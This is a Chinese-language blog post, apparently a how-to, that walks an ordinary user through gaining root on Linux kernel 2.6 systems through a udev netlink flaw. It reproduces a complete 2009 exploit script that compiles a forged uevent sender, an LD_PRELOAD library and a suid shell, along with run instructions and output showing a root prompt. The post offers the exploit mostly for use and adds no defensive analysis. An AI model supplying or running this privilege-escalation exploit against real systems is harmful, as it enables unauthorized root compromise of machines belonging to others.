`
bwhzhl
  • 浏览: 102843 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

Linux Kernel 2.6 UDEV本地提权

阅读更多

1)创建用户:假设系统上已经建立了一个名为"ttalang",密码为"ttalang"的普通用户,并用该账户登录;(注意:ttalang的用户目录为/home/ttalang) 

[ttalang@vmhost ~]$ pwd 

/home/ttalang 

 

2)复制代码:如下:完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件;(注意:此时a的状态为/home/ttalang/a,a保存着 提权用的代码。名字叫什么是随意的,可以是b,c...) 

[ttalang@vmhost ~]$ ls 

 

3)修改代码:修改a中的内容,将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的);将倒数第4行"cp libno_ex.so.1.0  /home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。 

 

4)查找udev的PID:查找/sbin/udevd的PID,即执行:"ps aux |grep /sbin/udev"

[ttalang@vmhost ~]$ ps aux |grep /sbin/udev 

root       392  0.1  0.3   2916  1400 ?        S<s  15:33   0:00 /sbin/udevd -d 

ttalang   3266  0.0  0.1   4604   700 pts/1    R+   15:38   0:00 grep /sbin/udev 

 

5)提权:执行命令chmod u+x a && sh a 391  (注意:这里的391是udev的PID减去1得来的): 

[ttalang@vmhost ~]$ sh a 391 

suid.c: 在函数 ‘main’ 中: 

suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容 

sh-3.1# 

 

 

提权代码:

***************************************************************************************** 
#!/bin/sh 
# Linux 2.6 
# bug found by Sebastian Krahmer 

# lame sploit using LD technique   
# by kcope in 2009 
# tested on debian-etch,ubuntu,gentoo 
# do a 'cat /proc/net/netlink' 
# and set the first arg to this 
# script to the pid of the netlink socket 
# (the pid is udevd_pid - 1 most of the time) 
# + sploit has to be UNIX formatted text :) 
# + if it doesn't work the 1st time try more often 

# WARNING: maybe needs some FIXUP to work flawlessly 
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang 

cat > udev.c << _EOF 
#include <fcntl.h> 
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <dirent.h> 
#include <sys/stat.h> 
#include <sysexits.h> 
#include <wait.h> 
#include <signal.h> 
#include <sys/socket.h> 
#include <linux/types.h> 
#include <linux/netlink.h> 

#ifndef NETLINK_KOBJECT_UEVENT 
#define NETLINK_KOBJECT_UEVENT 15 
#endif 

#define SHORT_STRING 64 
#define MEDIUM_STRING 128 
#define BIG_STRING 256 
#define LONG_STRING 1024 
#define EXTRALONG_STRING 4096 
#define TRUE 1 
#define FALSE 0 

int socket_fd; 
struct sockaddr_nl address; 
struct msghdr msg; 
struct iovec iovector; 
int sz = 64*1024; 

main(int argc, char **argv) { 
        char sysfspath[SHORT_STRING]; 
        char subsystem[SHORT_STRING]; 
        char event[SHORT_STRING]; 
        char major[SHORT_STRING]; 
        char minor[SHORT_STRING]; 

        sprintf(event, "add"); 
        sprintf(subsystem, "block"); 
        sprintf(sysfspath, "/dev/foo"); 
        sprintf(major, "8"); 
        sprintf(minor, "1"); 

        memset(&address, 0, sizeof(address)); 
        address.nl_family = AF_NETLINK; 
        address.nl_pid = atoi(argv[1]); 
        address.nl_groups = 0; 

        msg.msg_name = (void*)&address; 
        msg.msg_namelen = sizeof(address); 
        msg.msg_iov = &iovector; 
        msg.msg_iovlen = 1; 

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); 
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); 

        char message[LONG_STRING]; 
        char *mp; 

        mp = message; 
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1; 
        mp += sprintf(mp, "ACTION=%s", event) +1; 
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; 
        mp += sprintf(mp, "MAJOR=%s", major) +1; 
        mp += sprintf(mp, "MINOR=%s", minor) +1; 
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; 
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; 

        iovector.iov_base = (void*)message; 
        iovector.iov_len = (int)(mp-message); 

        char *buf; 
        int buflen; 
        buf = (char *) &msg; 
        buflen = (int)(mp-message); 

        sendmsg(socket_fd, &msg, 0); 

        close(socket_fd); 

         sleep(10); 
         execl("/tmp/suid", "suid", (void*)0); 


_EOF 
gcc udev.c -o /tmp/udev 
cat > program.c << _EOF 
#include <unistd.h> 
#include <stdio.h> 
#include <sys/types.h> 
#include <stdlib.h> 

void _init() 

setgid(0); 
setuid(0); 
unsetenv("LD_PRELOAD"); 
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); 

_EOF 
gcc -o program.o -c program.c -fPIC 
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles 
cat > suid.c << _EOF 
int main(void) { 
       setgid(0); setuid(0); 
       execl("/bin/sh","sh",0); } 
_EOF 
gcc -o /tmp/suid suid.c 
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 
/tmp/udev $1 

# milw0rm.com [2009-04-20] 
*******************************************************************************



 

 

分享到:
评论

相关推荐

    linux提权总结8大类型,30多种方式

    Linux Kernel 2.6 (Debian 4.0/Ubuntu/Gentoo) UDEV (1) | linux/local/8478.sh Linux Kernel 2.6.x/3.10.x/4.14.x (Red Hat/Debian/CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation | linux_x86...

    利用Udev在linux设备装载时实现易于识别的设备文件名.pdf

    在 Ubuntu 12.04 LTS 中,Udev 是 Linux kernel 2.6 的默认设备管理器,它的目标是接替 devfs 和 hotplug 的功能。Udev 规则易于在不同的发行版之间移植。Udev 的使用可以使得人们根据设备的不同属性区分设备,用...

    udev管理linux设备

    udev是Linux 2.6内核引入的一个关键组件,它取代了早期的devfs,成为了现代Linux系统中设备管理的标准工具。udev的主要目标是为用户提供一种更稳定、更易于管理的设备命名方案,并且能够动态响应系统中的设备变化。 ...

    指纹仪linux开发包SDK,适用U.are.U4000/URU4000B

    Slackware Linux 12(kernel 2.6.21.5/smp only), and SLED 10 SP1 (kernel 2.6.16.46-0.12-default/smp) run cp /opt/DigitalPersona/drivers/dp.udev.rules /etc/udev/rules.d 5. For NLD9, edit /etc/udev...

    linux设备管理工具--udev

    udev是Linux 2.6内核中的一个重要组件,它负责动态管理和维护系统的设备文件。相比于传统的设备管理方式,udev提供了一种更加灵活且强大的机制,能够根据设备的属性自动生成具有明确标识的设备文件,从而简化了用户...

    利用udev、sys动态创建linux设备结点

    1. 包含必要的头文件:使用 udev 和 sys 需要包含相应的头文件,例如 `&lt;linux/module.h&gt;`、`&lt;linux/kernel.h&gt;`、`&lt;linux/init.h&gt;`、`&lt;linux/fs.h&gt;`、`&lt;linux/cdev.h&gt;`、`&lt;asm/uaccess.h&gt;` 和 `&lt;linux/device.h&gt;`。...

    How to Port a Driver from 2.4 to 2.6 Kernels

    本文档详细介绍了如何将旧版驱动程序从Linux 2.4内核移植到2.6内核,并尝试将其合并到上游/mainline内核中的过程。作者Mark Gross根据自身经验,提供了一个简单的示例,即从2.4到2.6内核的移植过程,以及最终如何...

    利用udev和sys檔系統動態創建設備結點

    在Linux 2.6内核之后,udev成为了主流的设备管理工具,尤其在现代的Linux发行版中。 sysfs是另一个关键组件,它是一个基于虚拟文件系统的接口,允许用户空间程序通过标准文件操作(如读写)来访问和控制内核对象,...

    嵌入式Linux_USB_U盘自动检测识别配置脚本.rar

    在Linux 2.6及以上内核版本中,udev(User-Mode Device Handler)系统被用来管理设备,包括自动检测和配置新插入的设备,如USB U盘。 udev是一个动态设备管理系统,它取代了早期的devfs和sysfs,负责为设备分配持久...

    Armlinux内核移植及系统初始化过程分析.pdf

    (3) `/linux-2.6.18.8/arch/arm/kernel`目录包含了与ARM架构相关的内核核心代码,如中断处理、进程调度、系统调用等。在移植过程中,需要根据目标平台的特性调整或添加这部分代码。 (4) `/linux-2.6.18.8/arch/arm/...

    linux的驱动开发

    早期的Linux系统使用devfs来管理设备文件,但在Linux2.6内核中,devfs被标记为弃用特性,取而代之的是sysfs和udev。sysfs是一种新型的文件系统,用于描述系统的硬件树,支持动态设备管理和信息查询,特别适合热插拔...

    coLinux 0.7.9 DEVTMPFS

    Purpose: Linux 2.6.33.7 CONFIG_DEVTMPFS=y to support udev-20X. Notices: Run rm -Rf /lib/modules/2* and Reboot to take effect. Built by Wwashington@NewSmth. Replace the coLinux 0.7.9 files. Tips-...

    精通LINUX设备驱动程序开发

    目 录 第1章 引言 1 1.1 演进 1 1.2 gnu copyleft 2 1.3 kernel.org 2 1.4 邮件列表和论坛 3 1.5 linux发行版 3 1.6 查看源代码 4 1.7 编译内核 7 1.8 可加载的模块 8 1.9 整装待发 9 第2章 内核 11 2.1...

    linux全志R16的linux系统编译的资料_20170502_1655.7z

    全志R16平台编译linux系统V1.0.txt 2017/4/11 13:36 (编译请使用编译android的lichee的选项编译生成的.config文件,不然直接编译会报错!!!!) rootroot@cm-System-Product-Name:/home/wwt/linux_r16$ tar...

    lichee_20170502_1607_全志R16的linux系统编译需要改动的文件_使用parrotv1.1的内核_没有外层目录.7z

    rootroot@cm-System-Product-Name:/home/wwt/linux_r16$ tar zxvf lichee_parrotv1.1_20161202.tar.gz rootroot@cm-System-Product-Name:/home/wwt/linux_r16$ rootroot@cm-System-Product-Name:/home/wwt/linux_...

    手把手教你LFS内核编译过程

    例如,这里提到的是`ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.bz2`。解压后,将其移动到合适的位置,如`/usr/src`目录下。 3. **配置网络**:确保您的开发环境能够访问互联网,以便后续步骤中...

    11 内核模块1

    在2.4和2.6内核中,对设备的管理方式有所不同,2.6内核倾向于按需创建设备节点,使用udev规则进行自动化管理。 当需要创建一个基于脚本的目标微型Linux系统时,首先要确保用户可以登录,并设定适当的运行级别,如...

Global site tag (gtag.js) - Google Analytics